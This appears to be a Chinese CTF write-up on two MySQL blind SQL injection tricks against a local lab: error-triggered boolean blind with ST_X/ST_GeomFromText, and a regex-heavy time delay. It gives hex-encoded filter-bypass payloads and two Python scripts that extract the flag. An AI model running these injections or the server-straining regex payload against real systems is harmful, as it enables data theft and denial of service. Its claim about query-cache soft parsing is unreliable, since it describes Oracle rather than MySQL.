兩種CTF中特殊盲注的總結

前言

Blind SQL(盲注)是SQL注入攻擊的其中一種。在sql注入過程當中,sql語句執行後數據不會回顯到前端頁面,此時,咱們須要利用一些方法進行判斷或者嘗試,這個過程稱之爲盲注。php

本文涉及知識點實操練習:MySQL盲注 (本實驗講解了MySQL注入中,3種盲注方式:基於布爾的盲注、基於時間的盲注、基於報錯的盲注。經過學習本實驗,能瞭解盲注原理。)前端

SQL盲注基本知識

經常使用基本函數

  • IF(expr1,expr2,expr3)

expr1爲true,則返回expr2,爲false則返回expr3python

SELECT IF(TRUE, 'A','B') -- 輸出結果:A
SELECT IF(FALSE,'A','B') -- 輸出結果:B
  • ASCII(str)

返回字符串str最左面字符的ASCII值正則表達式

SELECT ASCII("flag") -- 輸出結果:102
  • ORD(str)

返回字符串str第一個字符的ASCII值sql

SELECT ORD("flag") -- 輸出結果:102
  • CHAR(int)

將ASCII碼值int轉換成字符數據庫

SELECT CHAR(65) -- 輸出結果:A
  • MID(str,pos,len)

pos位置開始,截取字符串strlen個長度的字符緩存

SELECT MID("Hello World", 3, 5) -- 輸出結果:llo W
與SUBSTR(str,pos,len) 效果相同
  • LEFT(str,len)

返回字符串str左邊部分共len個字符服務器

SELECT LEFT("flag", 2) -- 輸出結果:fl
  • SLEEP(duration)

duration是休眠的時長,以秒爲單位,也能夠是小數ide

SELECT SLEEP(3)
# [SQL] SELECT SLEEP(3)
# 受影響的行: 0
# 時間: 3.005ms
  • REGEXP

正則表達式,用來匹配文本的特殊的串(字符集合)函數

SELECT "FLAG" REGEXP "LA"    -- 輸出結果:1
SELECT "FLAG" REGEXP "[0-9]" -- 輸出結果:0
  • 其它
LENGTH(str) -- 返回字符串str的長度
DATABASE()  -- 返回當前數據庫名
VERSION()   -- 返回當前MySQL版本

布爾盲注

根據注入點的輸入,頁面只返回True和False兩種類型頁面。利用頁面返回不一樣,逐個猜解數據。

SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 輸出結果:1
SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 輸出結果:2

據此可知數據庫名的長度爲4

時間盲注

經過執行時間的長短來判斷是否執行成功,也就是時間延遲注入。

SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒後才響應
SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 當即響應

據此可知數據庫名的第一個字符爲c

如下2道題目:flag在flag表的flag字段

在本地搭建靶機,用post傳參,變量keywords接收

本地搭建靶機

基於運行錯誤的布爾盲注

基於運行錯誤的布爾盲注即可以經過sql語句的語法、語義分析,但運行時報錯。

咱們能夠將其做爲IF(expr1,expr2,expr3)的expr3,當expr1爲true時,返回expr2,頁面正常,而爲false時,則會執行expr3,此時由於運行錯誤而頁面沒法正常顯示。

ST_GeomFromText(character-string[, srid]) 是根據字符串表示構造幾何的方法,即:

SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 )
-- 輸出結果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]

ST_X(point):該方法是獲取點的x座標,它操做的對象是一個點,即:

SELECT ST_X(POINT(2,3)) -- 輸出結果:2

但當操做對象不是點時,運行會報錯,卻可以經過sql的檢查,因此能夠用來構造true和false兩種狀況下出現不一樣的頁面

SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 輸出結果:1
SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

P.s.

ST_GeomFromText 、 ST_MPointFromText 是兩個能夠從文本中解析Spatial function的函數。

須要注意的是 ST_GeomFromText 針對的是 POINT() 函 數, ST_MPointFromText 針對的是 MULTIPOINT() 函數的。

其餘可用的函數:

SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

若是題目過濾了ST,能夠嘗試用GeomFromText()X(),但MySQL在5.7.6版本以後就棄用了。

Name Description
X() (deprecated 5.7.6) Return X coordinate of Point
GeomFromText()(deprecated 5.7.6) Return geometry from WKT

當輸入一、二、3等數字時,頁面返回Hello World

輸入一、二、3等數字

而當輸入被過濾的關鍵字時,網頁返回No Hacker

輸入被過濾的關鍵字

由此能夠測試一些被過濾的關鍵字有:

'"or-*><=likesleepsubstrmidasciiord

然而在不被ban掉的狀況下,網頁只能返回一種頁面,沒法進行日常的數字型盲注。

而像if(0,1e9999,1),由於沒法經過sql語句的檢查,因此頁面沒法正常顯示,更別說if(1,1e9999,1)了。

此時能夠考慮用基於運行錯誤的布爾盲注,語法、語義上可以經過sql的檢查,但若是執行到該語句卻會運行錯誤,這樣便可以構造true和false兩種狀況了。

用if來進行盲注,'被過濾了,用十六進制繞過。

if(1,1,ST_X(ST_GeomFromText('POINT(mads)'))
> if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))

此時頁面返回Hello World。題目說flag在flag表的flag字段,用left()截取第一個字符進行判斷,=like能夠用regexp代替。

構造payload:

if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))

此時頁面仍然返回Hello World,能夠知道flag的第一個字符是char(102),也就是f

if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))

而第二個字符是char(108),也就是字符l

用python寫個腳本

import requests

def fun(string):
    result = ""
    j = 1
    for i in string:
        if j != len(string):
            result = result + str(ord(i)) + ","
        else:
            result = result + str(ord(i))
        j += 1
    return "char(" + result + ")"

url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
flag = ""

for i in range(1, 50):
    for j in tables:
        if j == "{" or j == "}":
            j = "\\" + j
        payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % (
            i, fun(flag+j))
        r = requests.post(url=url, data={'keywords': payload})
        if "Hello World" in r.text:
            flag = flag + j
            print(flag.replace("\\", ""))
            break

用python寫個腳本

基於巨大運算時間的時間盲注

因爲在這裏過濾了ST,因此以ST開頭的函數會被ban,沒法使用。

同時又過濾了sleep,因此沒法經過時間休眠來延遲時間,也就無法用sleep來進行時間盲注。

但咱們能夠經過sql語句來執行一個運算時間很長很長的語句,以此來做爲時間延遲,也就是說用if來判斷flag的字符,若是正確則執行一個須要很長運算時間的語句,不然返回0。

因此以後用python寫腳本的時候,設定一個超時時間,在設定時間內沒有返回內容即字符正確,這樣便能進行時間盲注了。

在此以前先了解幾個函數

  • rpad(str,len,padstr)

對字符串str進行右填充,用padstr填充至str長度爲len個字符

SELECT RPAD('hi', 5, '?') -- 輸出結果:hi???
  • concat(str1,str2,...)

鏈接多個字符串爲一個字符串

SELECT CONCAT('he', 'll', 'o') -- 輸出結果:hello
  • repeat(str,count)

返回字符串str重複count次後的字符串

SELECT REPEAT('ab', '3') -- 輸出結果:ababab

構造payload:

1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)

也就是說若是flag的第一個字符爲f的話,則會執行下面這句語句:

rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')

rpad('a',5000000,'a')會填充爲5000000個a,會構形成一個很長的字符串,與字符串concat(repeat('(a.*)+',30),'b')去做正則匹配,經過巨大的運算量來延時。

這樣作的話服務器可能會崩

因爲題目過濾了',因此用十六進制代替

1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)

如下兩種圖片用get傳參測試時間延遲效果

猜中flag的第一個字符時:

猜中flag的第一個字符時

而若是猜第一個字符爲0x01,則爲false,if返回0

false,if返回0

因此咱們能夠經過大量的運算時間作延遲,進行時間盲注。

但服務器進程在接到客戶端傳送過來的SQL語句時,不會直接去數據庫查詢。服務器進程把這個SQL語句的字符轉化爲ASCII等效數字碼,接着這個ASCII碼被傳遞給一個HASH函數,並返回一個hash值,而後服務器進程將到shared pool中的library cache(高速緩存)中去查找是否存在相同的hash值。若是存在,服務器進程將使用這條語句已高速緩存在SHARED POOL的library cache中的已分析過的版原本執行,省去後續的解析工做,這即是軟解析。

因此屢次查詢rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')後將再也不延遲,因此對rpad()的5000000須要每次自減1

腳原本自Gqleung(http://www.plasf.cn)

import requests


def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i))
        r = r.replace('0x', '')
        result = result+r
    return '0x'+result


url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
result = ""

for i in range(1, 50):
    for j in tables:
        if j == "{" or j == "}":
            j = '\\'+j
        payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % (
            ord2hex("^"+result+j), 5000000-i)
        try:
            r = requests.post(url=url, data={'keywords': payload}, timeout=3)
        except Exception as e:
            result = result+j
            print(result.replace('\\', ''))
timeout:設定超時時間,秒爲單位在設定時間內沒有返回內容則返回一個timeout異常

如果3秒內沒有返回內容則返回timeout異常,即字符正確,打印輸出

打印輸出

相關文章
相關標籤/搜索